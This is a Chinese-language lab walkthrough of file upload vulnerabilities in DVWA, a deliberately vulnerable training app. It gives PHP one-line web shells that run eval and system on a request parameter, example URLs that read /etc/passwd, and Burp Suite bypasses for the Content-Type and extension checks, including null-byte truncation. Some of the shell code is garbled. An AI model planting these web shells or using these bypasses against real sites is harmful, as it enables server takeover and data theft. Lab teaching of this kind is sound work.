文件上传漏洞–dvwa
无防护:
目的主机没有对上传文件进行过滤,直接保存上传文件。上传一句话木马shell.php文件并通过浏览器访问加上参数的地址或者使用中国菜刀直接连接,获取shell。
//一句话木马
(1) shell1.php # eval 使用php函数,
phpinfo();<?php `eval($_REQUEST['seven']);?`>
访问 http://192.168.40.140/dvwa/hackable/uploads/shell1.php?cmd=phpinfo()
(2)shell2.php # system使用Linux系统命令如ls,cp,rm
<?php system($_REQUEST['seven']);?`>
访问:http://192.168.40.140/dvwa/hackable/uploads/shell1.php?seven=cat /etc/passwd
(3)中国菜刀
php eval($_POST['seven']);?>
REQUEST是通过在网页端输入变量访问代码,POST是使用中国菜刀等工具连接。
低级防护:
对文件类型(Content-Type)进行了过滤,前端代码会自动检测文件类型,符合则上传成功,不符合则上传失败。绕过方法:使用BurpSuite工具截断代理修改数据包的相关字段。
如:上传文件为shell.php,可看见代码中Content-Type参数值为application/x-php,直接将application/x-php改为mage/jpeg即可绕过验证,对于文件大小的限制可以直接修改”MAX_FILE_SIZE”的的值突破文件大小限制。
一般防护:
验证上传文件的后缀名。前端验证代码如下,通过以下函数获取上传文件的后缀名,判断是否为允许上传的后缀:
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1)
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) )
绕
绕过方法:使用burpsuite进行00截断,从而使得在文件后缀验证时通过但是在文件转储的时候忽略掉00之后的内容从而实现后缀欺骗。具体步骤如下:
(1)将需要上传的shell.php文件改为shell.php 1.jpg。
(2)使用Burpsuite拦截,并将"shell.php 1.jpg"发送至decoder模块。
(3)从text模式切换到hex编辑模式,找到”shell.php 1.jpg”中空格对应的hex值“20”,将20改为00
(4)从hex模式切换到text模式并将修改过的字符串替换原来报文中的”shell.php 1.jpg”,最后转发,文件上传成功。 在版本较高的php中,此方法不适用。
文件包含漏洞@